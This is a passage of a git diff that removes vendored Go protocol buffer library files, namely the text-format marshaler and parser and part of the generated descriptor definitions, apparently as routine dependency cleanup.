unknown wire type %d */", wire) - } - if err != nil { - return err - } - if err = w.WriteByte('\n'); err != nil { - return err - } - } - return nil -} - -func writeUnknownInt(w *textWriter, x uint64, err error) error { - if err == nil { - _, err = fmt.Fprint(w, x) - } else { - _, err = fmt.Fprintf(w, "/* %v */", err) - } - return err -} - -type int32Slice []int32 - -func (s int32Slice) Len() int { return len(s) } -func (s int32Slice) Less(i, j int) bool { return s[i] < s[j] } -func (s int32Slice) Swap(i, j int) { s[i], s[j] = s[j], s[i] } - -// writeExtensions writes all the extensions in pv. -// pv is assumed to be a pointer to a protocol message struct that is extendable. -func (tm *TextMarshaler) writeExtensions(w *textWriter, pv reflect.Value) error { - emap := extensionMaps[pv.Type().Elem()] - ep, _ := extendable(pv.Interface()) - - // Order the extensions by ID. - // This isn't strictly necessary, but it will give us - // canonical output, which will also make testing easier. - m, mu := ep.extensionsRead() - if m == nil { - return nil - } - mu.Lock() - ids := make([]int32, 0, len(m)) - for id := range m { - ids = append(ids, id) - } - sort.Sort(int32Slice(ids)) - mu.Unlock() - - for _, extNum := range ids { - ext := m[extNum] - var desc *ExtensionDesc - if emap != nil { - desc = emap[extNum] - } - if desc == nil { - // Unknown extension. - if err := writeUnknownStruct(w, ext.enc); err != nil { - return err - } - continue - } - - pb, err := GetExtension(ep, desc) - if err != nil { - return fmt.Errorf("failed getting extension: %v", err) - } - - // Repeated extensions will appear as a slice. - if !desc.repeated() { - if err := tm.writeExtension(w, desc.Name, pb); err != nil { - return err - } - } else { - v := reflect.ValueOf(pb) - for i := 0; i < v.Len(); i++ { - if err := tm.writeExtension(w, desc.Name, v.Index(i).Interface()); err != nil { - return err - } - } - } - } - return nil -} - -func (tm *TextMarshaler) writeExtension(w *textWriter, name string, pb interface{}) error { - if _, err := fmt.Fprintf(w, "[%s]:", name); err != nil { - return err - } - if !w.compact { - if err := w.WriteByte(' '); err != nil { - return err - } - } - if err := tm.writeAny(w, reflect.ValueOf(pb), nil); err != nil { - return err - } - if err := w.WriteByte('\n'); err != nil { - return err - } - return nil -} - -func (w *textWriter) writeIndent() { - if !w.complete { - return - } - remain := w.ind * 2 - for remain > 0 { - n := remain - if n > len(spaces) { - n = len(spaces) - } - w.w.Write(spaces[:n]) - remain -= n - } - w.complete = false -} - -// TextMarshaler is a configurable text format marshaler. -type TextMarshaler struct { - Compact bool // use compact text format (one line). - ExpandAny bool // expand google.protobuf.Any messages of known types -} - -// Marshal writes a given protocol buffer in text format. -// The only errors returned are from w. -func (tm *TextMarshaler) Marshal(w io.Writer, pb Message) error { - val := reflect.ValueOf(pb) - if pb == nil || val.IsNil() { - w.Write([]byte("")) - return nil - } - var bw *bufio.Writer - ww, ok := w.(writer) - if !ok { - bw = bufio.NewWriter(w) - ww = bw - } - aw := &textWriter{ - w: ww, - complete: true, - compact: tm.Compact, - } - - if etm, ok := pb.(encoding.TextMarshaler); ok { - text, err := etm.MarshalText() - if err != nil { - return err - } - if _, err = aw.Write(text); err != nil { - return err - } - if bw != nil { - return bw.Flush() - } - return nil - } - // Dereference the received pointer so we don't have outer < and >. - v := reflect.Indirect(val) - if err := tm.writeStruct(aw, v); err != nil { - return err - } - if bw != nil { - return bw.Flush() - } - return nil -} - -// Text is the same as Marshal, but returns the string directly. -func (tm *TextMarshaler) Text(pb Message) string { - var buf bytes.Buffer - tm.Marshal(&buf, pb) - return buf.String() -} - -var ( - defaultTextMarshaler = TextMarshaler{} - compactTextMarshaler = TextMarshaler{Compact: true} -) - -// TODO: consider removing some of the Marshal functions below. - -// MarshalText writes a given protocol buffer in text format. -// The only errors returned are from w. -func MarshalText(w io.Writer, pb Message) error { return defaultTextMarshaler.Marshal(w, pb) } - -// MarshalTextString is the same as MarshalText, but returns the string directly. -func MarshalTextString(pb Message) string { return defaultTextMarshaler.Text(pb) } - -// CompactText writes a given protocol buffer in compact text format (one line). -func CompactText(w io.Writer, pb Message) error { return compactTextMarshaler.Marshal(w, pb) } - -// CompactTextString is the same as CompactText, but returns the string directly. -func CompactTextString(pb Message) string { return compactTextMarshaler.Text(pb) } diff --git a/vendor/github.com/golang/protobuf/proto/text_parser.go b/vendor/github.com/golang/protobuf/proto/text_parser.go deleted file mode 100644 index bb55a3af27..0000000000 --- a/vendor/github.com/golang/protobuf/proto/text_parser.go +++ /dev/null @@ -1,880 +0,0 @@ -// Go support for Protocol Buffers - Google's data interchange format -// -// Copyright 2010 The Go Authors. All rights reserved. -// https://github.com/golang/protobuf -// -// Redistribution and use in source and binary forms, with or without -// modification, are permitted provided that the following conditions are -// met: -// -// * Redistributions of source code must retain the above copyright -// notice, this list of conditions and the following disclaimer. -// * Redistributions in binary form must reproduce the above -// copyright notice, this list of conditions and the following disclaimer -// in the documentation and/or other materials provided with the -// distribution. -// * Neither the name of Google Inc. nor the names of its -// contributors may be used to endorse or promote products derived from -// this software without specific prior written permission. -// -// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - -package proto - -// Functions for parsing the Text protocol buffer format. -// TODO: message sets. - -import ( - "encoding" - "errors" - "fmt" - "reflect" - "strconv" - "strings" - "unicode/utf8" -) - -// Error string emitted when deserializing Any and fields are already set -const anyRepeatedlyUnpacked = "Any message unpacked multiple times, or %q already set" - -type ParseError struct { - Message string - Line int // 1-based line number - Offset int // 0-based byte offset from start of input -} - -func (p *ParseError) Error() string { - if p.Line == 1 { - // show offset only for first line - return fmt.Sprintf("line 1.%d: %v", p.Offset, p.Message) - } - return fmt.Sprintf("line %d: %v", p.Line, p.Message) -} - -type token struct { - value string - err *ParseError - line int // line number - offset int // byte number from start of input, not start of line - unquoted string // the unquoted version of value, if it was a quoted string -} - -func (t *token) String() string { - if t.err == nil { - return fmt.Sprintf("%q (line=%d, offset=%d)", t.value, t.line, t.offset) - } - return fmt.Sprintf("parse error: %v", t.err) -} - -type textParser struct { - s string // remaining input - done bool // whether the parsing is finished (success or error) - backed bool // whether back() was called - offset, line int - cur token -} - -func newTextParser(s string) *textParser { - p := new(textParser) - p.s = s - p.line = 1 - p.cur.line = 1 - return p -} - -func (p *textParser) errorf(format string, a ...interface{}) *ParseError { - pe := &ParseError{fmt.Sprintf(format, a...), p.cur.line, p.cur.offset} - p.cur.err = pe - p.done = true - return pe -} - -// Numbers and identifiers are matched by [-+._A-Za-z0-9] -func isIdentOrNumberChar(c byte) bool { - switch { - case 'A' <= c && c <= 'Z', 'a' <= c && c <= 'z': - return true - case '0' <= c && c <= '9': - return true - } - switch c { - case '-', '+', '.', '_': - return true - } - return false -} - -func isWhitespace(c byte) bool { - switch c { - case ' ', '\t', '\n', '\r': - return true - } - return false -} - -func isQuote(c byte) bool { - switch c { - case '"', '\'': - return true - } - return false -} - -func (p *textParser) skipWhitespace() { - i := 0 - for i < len(p.s) && (isWhitespace(p.s[i]) || p.s[i] == '#') { - if p.s[i] == '#' { - // comment; skip to end of line or input - for i < len(p.s) && p.s[i] != '\n' { - i++ - } - if i == len(p.s) { - break - } - } - if p.s[i] == '\n' { - p.line++ - } - i++ - } - p.offset += i - p.s = p.s[i:len(p.s)] - if len(p.s) == 0 { - p.done = true - } -} - -func (p *textParser) advance() { - // Skip whitespace - p.skipWhitespace() - if p.done { - return - } - - // Start of non-whitespace - p.cur.err = nil - p.cur.offset, p.cur.line = p.offset, p.line - p.cur.unquoted = "" - switch p.s[0] { - case '<', '>', '{', '}', ':', '[', ']', ';', ',', '/': - // Single symbol - p.cur.value, p.s = p.s[0:1], p.s[1:len(p.s)] - case '"', '\'': - // Quoted string - i := 1 - for i < len(p.s) && p.s[i] != p.s[0] && p.s[i] != '\n' { - if p.s[i] == '\\' && i+1 < len(p.s) { - // skip escaped char - i++ - } - i++ - } - if i >= len(p.s) || p.s[i] != p.s[0] { - p.errorf("unmatched quote") - return - } - unq, err := unquoteC(p.s[1:i], rune(p.s[0])) - if err != nil { - p.errorf("invalid quoted string %s: %v", p.s[0:i+1], err) - return - } - p.cur.value, p.s = p.s[0:i+1], p.s[i+1:len(p.s)] - p.cur.unquoted = unq - default: - i := 0 - for i < len(p.s) && isIdentOrNumberChar(p.s[i]) { - i++ - } - if i == 0 { - p.errorf("unexpected byte %#x", p.s[0]) - return - } - p.cur.value, p.s = p.s[0:i], p.s[i:len(p.s)] - } - p.offset += len(p.cur.value) -} - -var ( - errBadUTF8 = errors.New("proto: bad UTF-8") -) - -func unquoteC(s string, quote rune) (string, error) { - // This is based on C++'s tokenizer.cc. - // Despite its name, this is *not* parsing C syntax. - // For instance, "\0" is an invalid quoted string. - - // Avoid allocation in trivial cases. - simple := true - for _, r := range s { - if r == '\\' || r == quote { - simple = false - break - } - } - if simple { - return s, nil - } - - buf := make([]byte, 0, 3*len(s)/2) - for len(s) > 0 { - r, n := utf8.DecodeRuneInString(s) - if r == utf8.RuneError && n == 1 { - return "", errBadUTF8 - } - s = s[n:] - if r != '\\' { - if r < utf8.RuneSelf { - buf = append(buf, byte(r)) - } else { - buf = append(buf, string(r)...) - } - continue - } - - ch, tail, err := unescape(s) - if err != nil { - return "", err - } - buf = append(buf, ch...) - s = tail - } - return string(buf), nil -} - -func unescape(s string) (ch string, tail string, err error) { - r, n := utf8.DecodeRuneInString(s) - if r == utf8.RuneError && n == 1 { - return "", "", errBadUTF8 - } - s = s[n:] - switch r { - case 'a': - return "\a", s, nil - case 'b': - return "\b", s, nil - case 'f': - return "\f", s, nil - case 'n': - return "\n", s, nil - case 'r': - return "\r", s, nil - case 't': - return "\t", s, nil - case 'v': - return "\v", s, nil - case '?': - return "?", s, nil // trigraph workaround - case '\'', '"', '\\': - return string(r), s, nil - case '0', '1', '2', '3', '4', '5', '6', '7': - if len(s) < 2 { - return "", "", fmt.Errorf(`\%c requires 2 following digits`, r) - } - ss := string(r) + s[:2] - s = s[2:] - i, err := strconv.ParseUint(ss, 8, 8) - if err != nil { - return "", "", fmt.Errorf(`\%s contains non-octal digits`, ss) - } - return string([]byte{byte(i)}), s, nil - case 'x', 'X', 'u', 'U': - var n int - switch r { - case 'x', 'X': - n = 2 - case 'u': - n = 4 - case 'U': - n = 8 - } - if len(s) < n { - return "", "", fmt.Errorf(`\%c requires %d following digits`, r, n) - } - ss := s[:n] - s = s[n:] - i, err := strconv.ParseUint(ss, 16, 64) - if err != nil { - return "", "", fmt.Errorf(`\%c%s contains non-hexadecimal digits`, r, ss) - } - if r == 'x' || r == 'X' { - return string([]byte{byte(i)}), s, nil - } - if i > utf8.MaxRune { - return "", "", fmt.Errorf(`\%c%s is not a valid Unicode code point`, r, ss) - } - return string(i), s, nil - } - return "", "", fmt.Errorf(`unknown escape \%c`, r) -} - -// Back off the parser by one token. Can only be done between calls to next(). -// It makes the next advance() a no-op. -func (p *textParser) back() { p.backed = true } - -// Advances the parser and returns the new current token. -func (p *textParser) next() *token { - if p.backed || p.done { - p.backed = false - return &p.cur - } - p.advance() - if p.done { - p.cur.value = "" - } else if len(p.cur.value) > 0 && isQuote(p.cur.value[0]) { - // Look for multiple quoted strings separated by whitespace, - // and concatenate them. - cat := p.cur - for { - p.skipWhitespace() - if p.done || !isQuote(p.s[0]) { - break - } - p.advance() - if p.cur.err != nil { - return &p.cur - } - cat.value += " " + p.cur.value - cat.unquoted += p.cur.unquoted - } - p.done = false // parser may have seen EOF, but we want to return cat - p.cur = cat - } - return &p.cur -} - -func (p *textParser) consumeToken(s string) error { - tok := p.next() - if tok.err != nil { - return tok.err - } - if tok.value != s { - p.back() - return p.errorf("expected %q, found %q", s, tok.value) - } - return nil -} - -// Return a RequiredNotSetError indicating which required field was not set. -func (p *textParser) missingRequiredFieldError(sv reflect.Value) *RequiredNotSetError { - st := sv.Type() - sprops := GetProperties(st) - for i := 0; i < st.NumField(); i++ { - if !isNil(sv.Field(i)) { - continue - } - - props := sprops.Prop[i] - if props.Required { - return &RequiredNotSetError{fmt.Sprintf("%v.%v", st, props.OrigName)} - } - } - return &RequiredNotSetError{fmt.Sprintf("%v.", st)} // should not happen -} - -// Returns the index in the struct for the named field, as well as the parsed tag properties. -func structFieldByName(sprops *StructProperties, name string) (int, *Properties, bool) { - i, ok := sprops.decoderOrigNames[name] - if ok { - return i, sprops.Prop[i], true - } - return -1, nil, false -} - -// Consume a ':' from the input stream (if the next token is a colon), -// returning an error if a colon is needed but not present. -func (p *textParser) checkForColon(props *Properties, typ reflect.Type) *ParseError { - tok := p.next() - if tok.err != nil { - return tok.err - } - if tok.value != ":" { - // Colon is optional when the field is a group or message. - needColon := true - switch props.Wire { - case "group": - needColon = false - case "bytes": - // A "bytes" field is either a message, a string, or a repeated field; - // those three become *T, *string and []T respectively, so we can check for - // this field being a pointer to a non-string. - if typ.Kind() == reflect.Ptr { - // *T or *string - if typ.Elem().Kind() == reflect.String { - break - } - } else if typ.Kind() == reflect.Slice { - // []T or []*T - if typ.Elem().Kind() != reflect.Ptr { - break - } - } else if typ.Kind() == reflect.String { - // The proto3 exception is for a string field, - // which requires a colon. - break - } - needColon = false - } - if needColon { - return p.errorf("expected ':', found %q", tok.value) - } - p.back() - } - return nil -} - -func (p *textParser) readStruct(sv reflect.Value, terminator string) error { - st := sv.Type() - sprops := GetProperties(st) - reqCount := sprops.reqCount - var reqFieldErr error - fieldSet := make(map[string]bool) - // A struct is a sequence of "name: value", terminated by one of - // '>' or '}', or the end of the input. A name may also be - // "[extension]" or "[type/url]". - // - // The whole struct can also be an expanded Any message, like: - // [type/url] < ... struct contents ... > - for { - tok := p.next() - if tok.err != nil { - return tok.err - } - if tok.value == terminator { - break - } - if tok.value == "[" { - // Looks like an extension or an Any. - // - // TODO: Check whether we need to handle - // namespace rooted names (e.g. ".something.Foo"). - extName, err := p.consumeExtName() - if err != nil { - return err - } - - if s := strings.LastIndex(extName, "/"); s >= 0 { - // If it contains a slash, it's an Any type URL. - messageName := extName[s+1:] - mt := MessageType(messageName) - if mt == nil { - return p.errorf("unrecognized message %q in google.protobuf.Any", messageName) - } - tok = p.next() - if tok.err != nil { - return tok.err - } - // consume an optional colon - if tok.value == ":" { - tok = p.next() - if tok.err != nil { - return tok.err - } - } - var terminator string - switch tok.value { - case "<": - terminator = ">" - case "{": - terminator = "}" - default: - return p.errorf("expected '{' or '<', found %q", tok.value) - } - v := reflect.New(mt.Elem()) - if pe := p.readStruct(v.Elem(), terminator); pe != nil { - return pe - } - b, err := Marshal(v.Interface().(Message)) - if err != nil { - return p.errorf("failed to marshal message of type %q: %v", messageName, err) - } - if fieldSet["type_url"] { - return p.errorf(anyRepeatedlyUnpacked, "type_url") - } - if fieldSet["value"] { - return p.errorf(anyRepeatedlyUnpacked, "value") - } - sv.FieldByName("TypeUrl").SetString(extName) - sv.FieldByName("Value").SetBytes(b) - fieldSet["type_url"] = true - fieldSet["value"] = true - continue - } - - var desc *ExtensionDesc - // This could be faster, but it's functional. - // TODO: Do something smarter than a linear scan. - for _, d := range RegisteredExtensions(reflect.New(st).Interface().(Message)) { - if d.Name == extName { - desc = d - break - } - } - if desc == nil { - return p.errorf("unrecognized extension %q", extName) - } - - props := &Properties{} - props.Parse(desc.Tag) - - typ := reflect.TypeOf(desc.ExtensionType) - if err := p.checkForColon(props, typ); err != nil { - return err - } - - rep := desc.repeated() - - // Read the extension structure, and set it in - // the value we're constructing. - var ext reflect.Value - if !rep { - ext = reflect.New(typ).Elem() - } else { - ext = reflect.New(typ.Elem()).Elem() - } - if err := p.readAny(ext, props); err != nil { - if _, ok := err.(*RequiredNotSetError); !ok { - return err - } - reqFieldErr = err - } - ep := sv.Addr().Interface().(Message) - if !rep { - SetExtension(ep, desc, ext.Interface()) - } else { - old, err := GetExtension(ep, desc) - var sl reflect.Value - if err == nil { - sl = reflect.ValueOf(old) // existing slice - } else { - sl = reflect.MakeSlice(typ, 0, 1) - } - sl = reflect.Append(sl, ext) - SetExtension(ep, desc, sl.Interface()) - } - if err := p.consumeOptionalSeparator(); err != nil { - return err - } - continue - } - - // This is a normal, non-extension field. - name := tok.value - var dst reflect.Value - fi, props, ok := structFieldByName(sprops, name) - if ok { - dst = sv.Field(fi) - } else if oop, ok := sprops.OneofTypes[name]; ok { - // It is a oneof. - props = oop.Prop - nv := reflect.New(oop.Type.Elem()) - dst = nv.Elem().Field(0) - field := sv.Field(oop.Field) - if !field.IsNil() { - return p.errorf("field '%s' would overwrite already parsed oneof '%s'", name, sv.Type().Field(oop.Field).Name) - } - field.Set(nv) - } - if !dst.IsValid() { - return p.errorf("unknown field name %q in %v", name, st) - } - - if dst.Kind() == reflect.Map { - // Consume any colon. - if err := p.checkForColon(props, dst.Type()); err != nil { - return err - } - - // Construct the map if it doesn't already exist. - if dst.IsNil() { - dst.Set(reflect.MakeMap(dst.Type())) - } - key := reflect.New(dst.Type().Key()).Elem() - val := reflect.New(dst.Type().Elem()).Elem() - - // The map entry should be this sequence of tokens: - // < key : KEY value : VALUE > - // However, implementations may omit key or value, and technically - // we should support them in any order. See b/28924776 for a time - // this went wrong. - - tok := p.next() - var terminator string - switch tok.value { - case "<": - terminator = ">" - case "{": - terminator = "}" - default: - return p.errorf("expected '{' or '<', found %q", tok.value) - } - for { - tok := p.next() - if tok.err != nil { - return tok.err - } - if tok.value == terminator { - break - } - switch tok.value { - case "key": - if err := p.consumeToken(":"); err != nil { - return err - } - if err := p.readAny(key, props.MapKeyProp); err != nil { - return err - } - if err := p.consumeOptionalSeparator(); err != nil { - return err - } - case "value": - if err := p.checkForColon(props.MapValProp, dst.Type().Elem()); err != nil { - return err - } - if err := p.readAny(val, props.MapValProp); err != nil { - return err - } - if err := p.consumeOptionalSeparator(); err != nil { - return err - } - default: - p.back() - return p.errorf(`expected "key", "value", or %q, found %q`, terminator, tok.value) - } - } - - dst.SetMapIndex(key, val) - continue - } - - // Check that it's not already set if it's not a repeated field. - if !props.Repeated && fieldSet[name] { - return p.errorf("non-repeated field %q was repeated", name) - } - - if err := p.checkForColon(props, dst.Type()); err != nil { - return err - } - - // Parse into the field. - fieldSet[name] = true - if err := p.readAny(dst, props); err != nil { - if _, ok := err.(*RequiredNotSetError); !ok { - return err - } - reqFieldErr = err - } - if props.Required { - reqCount-- - } - - if err := p.consumeOptionalSeparator(); err != nil { - return err - } - - } - - if reqCount > 0 { - return p.missingRequiredFieldError(sv) - } - return reqFieldErr -} - -// consumeExtName consumes extension name or expanded Any type URL and the -// following ']'. It returns the name or URL consumed. -func (p *textParser) consumeExtName() (string, error) { - tok := p.next() - if tok.err != nil { - return "", tok.err - } - - // If extension name or type url is quoted, it's a single token. - if len(tok.value) > 2 && isQuote(tok.value[0]) && tok.value[len(tok.value)-1] == tok.value[0] { - name, err := unquoteC(tok.value[1:len(tok.value)-1], rune(tok.value[0])) - if err != nil { - return "", err - } - return name, p.consumeToken("]") - } - - // Consume everything up to "]" - var parts []string - for tok.value != "]" { - parts = append(parts, tok.value) - tok = p.next() - if tok.err != nil { - return "", p.errorf("unrecognized type_url or extension name: %s", tok.err) - } - if p.done && tok.value != "]" { - return "", p.errorf("unclosed type_url or extension name") - } - } - return strings.Join(parts, ""), nil -} - -// consumeOptionalSeparator consumes an optional semicolon or comma. -// It is used in readStruct to provide backward compatibility. -func (p *textParser) consumeOptionalSeparator() error { - tok := p.next() - if tok.err != nil { - return tok.err - } - if tok.value != ";" && tok.value != "," { - p.back() - } - return nil -} - -func (p *textParser) readAny(v reflect.Value, props *Properties) error { - tok := p.next() - if tok.err != nil { - return tok.err - } - if tok.value == "" { - return p.errorf("unexpected EOF") - } - - switch fv := v; fv.Kind() { - case reflect.Slice: - at := v.Type() - if at.Elem().Kind() == reflect.Uint8 { - // Special case for []byte - if tok.value[0] != '"' && tok.value[0] != '\'' { - // Deliberately written out here, as the error after - // this switch statement would write "invalid []byte: ...", - // which is not as user-friendly. - return p.errorf("invalid string: %v", tok.value) - } - bytes := []byte(tok.unquoted) - fv.Set(reflect.ValueOf(bytes)) - return nil - } - // Repeated field. - if tok.value == "[" { - // Repeated field with list notation, like [1,2,3]. - for { - fv.Set(reflect.Append(fv, reflect.New(at.Elem()).Elem())) - err := p.readAny(fv.Index(fv.Len()-1), props) - if err != nil { - return err - } - tok := p.next() - if tok.err != nil { - return tok.err - } - if tok.value == "]" { - break - } - if tok.value != "," { - return p.errorf("Expected ']' or ',' found %q", tok.value) - } - } - return nil - } - // One value of the repeated field. - p.back() - fv.Set(reflect.Append(fv, reflect.New(at.Elem()).Elem())) - return p.readAny(fv.Index(fv.Len()-1), props) - case reflect.Bool: - // true/1/t/True or false/f/0/False. - switch tok.value { - case "true", "1", "t", "True": - fv.SetBool(true) - return nil - case "false", "0", "f", "False": - fv.SetBool(false) - return nil - } - case reflect.Float32, reflect.Float64: - v := tok.value - // Ignore 'f' for compatibility with output generated by C++, but don't - // remove 'f' when the value is "-inf" or "inf". - if strings.HasSuffix(v, "f") && tok.value != "-inf" && tok.value != "inf" { - v = v[:len(v)-1] - } - if f, err := strconv.ParseFloat(v, fv.Type().Bits()); err == nil { - fv.SetFloat(f) - return nil - } - case reflect.Int32: - if x, err := strconv.ParseInt(tok.value, 0, 32); err == nil { - fv.SetInt(x) - return nil - } - - if len(props.Enum) == 0 { - break - } - m, ok := enumValueMaps[props.Enum] - if !ok { - break - } - x, ok := m[tok.value] - if !ok { - break - } - fv.SetInt(int64(x)) - return nil - case reflect.Int64: - if x, err := strconv.ParseInt(tok.value, 0, 64); err == nil { - fv.SetInt(x) - return nil - } - - case reflect.Ptr: - // A basic field (indirected through pointer), or a repeated message/group - p.back() - fv.Set(reflect.New(fv.Type().Elem())) - return p.readAny(fv.Elem(), props) - case reflect.String: - if tok.value[0] == '"' || tok.value[0] == '\'' { - fv.SetString(tok.unquoted) - return nil - } - case reflect.Struct: - var terminator string - switch tok.value { - case "{": - terminator = "}" - case "<": - terminator = ">" - default: - return p.errorf("expected '{' or '<', found %q", tok.value) - } - // TODO: Handle nested messages which implement encoding.TextUnmarshaler. - return p.readStruct(fv, terminator) - case reflect.Uint32: - if x, err := strconv.ParseUint(tok.value, 0, 32); err == nil { - fv.SetUint(uint64(x)) - return nil - } - case reflect.Uint64: - if x, err := strconv.ParseUint(tok.value, 0, 64); err == nil { - fv.SetUint(x) - return nil - } - } - return p.errorf("invalid %v: %v", v.Type(), tok.value) -} - -// UnmarshalText reads a protocol buffer in Text format. UnmarshalText resets pb -// before starting to unmarshal, so any existing data in pb is always removed. -// If a required field is not set and no other error occurs, -// UnmarshalText returns *RequiredNotSetError. -func UnmarshalText(s string, pb Message) error { - if um, ok := pb.(encoding.TextUnmarshaler); ok { - return um.UnmarshalText([]byte(s)) - } - pb.Reset() - v := reflect.ValueOf(pb) - return newTextParser(s).readStruct(v.Elem(), "") -} diff --git a/vendor/github.com/golang/protobuf/protoc-gen-go/descriptor/descriptor.pb.go b/vendor/github.com/golang/protobuf/protoc-gen-go/descriptor/descriptor.pb.go deleted file mode 100644 index 1ded05bbe7..0000000000 --- a/vendor/github.com/golang/protobuf/protoc-gen-go/descriptor/descriptor.pb.go +++ /dev/null @@ -1,2887 +0,0 @@ -// Code generated by protoc-gen-go. DO NOT EDIT. -// source: google/protobuf/descriptor.proto - -package descriptor - -import ( - fmt "fmt" - proto "github.com/golang/protobuf/proto" - math "math" -) - -// Reference imports to suppress errors if they are not otherwise used. -var _ = proto.Marshal -var _ = fmt.Errorf -var _ = math.Inf - -// This is a compile-time assertion to ensure that this generated file -// is compatible with the proto package it is being compiled against. -// A compilation error at this line likely means your copy of the -// proto package needs to be updated. -const _ = proto.ProtoPackageIsVersion3 // please upgrade the proto package - -type FieldDescriptorProto_Type int32 - -const ( - // 0 is reserved for errors. - // Order is weird for historical reasons. - FieldDescriptorProto_TYPE_DOUBLE FieldDescriptorProto_Type = 1 - FieldDescriptorProto_TYPE_FLOAT FieldDescriptorProto_Type = 2 - // Not ZigZag encoded. Negative numbers take 10 bytes. Use TYPE_SINT64 if - // negative values are likely. - FieldDescriptorProto_TYPE_INT64 FieldDescriptorProto_Type = 3 - FieldDescriptorProto_TYPE_UINT64 FieldDescriptorProto_Type = 4 - // Not ZigZag encoded. Negative numbers take 10 bytes. Use TYPE_SINT32 if - // negative values are likely. - FieldDescriptorProto_TYPE_INT32 FieldDescriptorProto_Type = 5 - FieldDescriptorProto_TYPE_FIXED64 FieldDescriptorProto_Type = 6 - FieldDescriptorProto_TYPE_FIXED32 FieldDescriptorProto_Type = 7 - FieldDescriptorProto_TYPE_BOOL FieldDescriptorProto_Type = 8 - FieldDescriptorProto_TYPE_STRING FieldDescriptorProto_Type = 9 - // Tag-delimited aggregate. - // Group type is deprecated and not supported in proto3. However, Proto3 - // implementations should still be able to parse the group wire format and - // treat group fields as unknown fields. - FieldDescriptorProto_TYPE_GROUP FieldDescriptorProto_Type = 10 - FieldDescriptorProto_TYPE_MESSAGE FieldDescriptorProto_Type = 11 - // New in version 2. - FieldDescriptorProto_TYPE_BYTES FieldDescriptorProto_Type = 12 - FieldDescriptorProto_TYPE_UINT32 FieldDescriptorProto_Type = 13 - FieldDescriptorProto_TYPE_ENUM FieldDescriptorProto_Type = 14 - FieldDescriptorProto_TYPE_SFIXED32 FieldDescriptorProto_Type = 15 - FieldDescriptorProto_TYPE_SFIXED64 FieldDescriptorProto_Type = 16 - FieldDescriptorProto_TYPE_SINT32 FieldDescriptorProto_Type = 17 - FieldDescriptorProto_TYPE_SINT64 FieldDescriptorProto_Type = 18 -) - -var FieldDescriptorProto_Type_name = map[int32]string{ - 1: "TYPE_DOUBLE", - 2: "TYPE_FLOAT", - 3: "TYPE_INT64", - 4: "TYPE_UINT64", - 5: "TYPE_INT32", - 6: "TYPE_FIXED64", - 7: "TYPE_FIXED32", - 8: "TYPE_BOOL", - 9: "TYPE_STRING", - 10: "TYPE_GROUP", - 11: "TYPE_MESSAGE", - 12: "TYPE_BYTES", - 13: "TYPE_UINT32", - 14: "TYPE_ENUM", - 15: "TYPE_SFIXED32", - 16: "TYPE_SFIXED64", - 17: "TYPE_SINT32", - 18: "TYPE_SINT64", -} - -var FieldDescriptorProto_Type_value = map[string]int32{ - "TYPE_DOUBLE": 1, - "TYPE_FLOAT": 2, - "TYPE_INT64": 3, - "TYPE_UINT64": 4, - "TYPE_INT32": 5, - "TYPE_FIXED64": 6, - "TYPE_FIXED32": 7, - "TYPE_BOOL": 8, - "TYPE_STRING": 9, - "TYPE_GROUP": 10, - "TYPE_MESSAGE": 11, - "TYPE_BYTES": 12, - "TYPE_UINT32": 13, - "TYPE_ENUM": 14, - "TYPE_SFIXED32": 15, - "TYPE_SFIXED64": 16, - "TYPE_SINT32": 17, - "TYPE_SINT64": 18, -} - -func (x FieldDescriptorProto_Type) Enum() *FieldDescriptorProto_Type { - p := new(FieldDescriptorProto_Type) - *p = x - return p -} - -func (x FieldDescriptorProto_Type) String() string { - return proto.EnumName(FieldDescriptorProto_Type_name, int32(x)) -} - -func (x *FieldDescriptorProto_Type) UnmarshalJSON(data []byte) error { - value, err := proto.UnmarshalJSONEnum(FieldDescriptorProto_Type_value, data, "FieldDescriptorProto_Type") - if err != nil { - return err - } - *x = FieldDescriptorProto_Type(value) - return nil -} - -func (FieldDescriptorProto_Type) EnumDescriptor() ([]byte, []int) { - return fileDescriptor_e5baabe45344a177, []int{4, 0} -} - -type FieldDescriptorProto_Label int32 - -const ( - // 0 is reserved for errors - FieldDescriptorProto_LABEL_OPTIONAL FieldDescriptorProto_Label = 1 - FieldDescriptorProto_LABEL_REQUIRED FieldDescriptorProto_Label = 2 - FieldDescriptorProto_LABEL_REPEATED FieldDescriptorProto_Label = 3 -) - -var FieldDescriptorProto_Label_name = map[int32]string{ - 1: "LABEL_OPTIONAL", - 2: "LABEL_REQUIRED", - 3: "LABEL_REPEATED", -} - -var FieldDescriptorProto_Label_value = map[string]int32{ - "LABEL_OPTIONAL": 1, - "LABEL_REQUIRED": 2, - "LABEL_REPEATED": 3, -} - -func (x FieldDescriptorProto_Label) Enum() *FieldDescriptorProto_Label { - p := new(FieldDescriptorProto_Label) - *p = x - return p -} - -func (x FieldDescriptorProto_Label) String() string { - return proto.EnumName(FieldDescriptorProto_Label_name, int32(x)) -} - -func (x *FieldDescriptorProto_Label) UnmarshalJSON(data []byte) error { - value, err := proto.UnmarshalJSONEnum(FieldDescriptorProto_Label_value, data, "FieldDescriptorProto_Label") - if err != nil { - return err - } - *x = FieldDescriptorProto_Label(value) - return nil -} - -func (FieldDescriptorProto_Label) EnumDescriptor() ([]byte, []int) { - return fileDescriptor_e5baabe45344a177, []int{4, 1} -} - -// Generated classes can be optimized for speed or code size. -type FileOptions_OptimizeMode int32 - -const ( - FileOptions_SPEED FileOptions_OptimizeMode = 1 - // etc. - FileOptions_CODE_SIZE FileOptions_OptimizeMode = 2 - FileOptions_LITE_RUNTIME FileOptions_OptimizeMode = 3 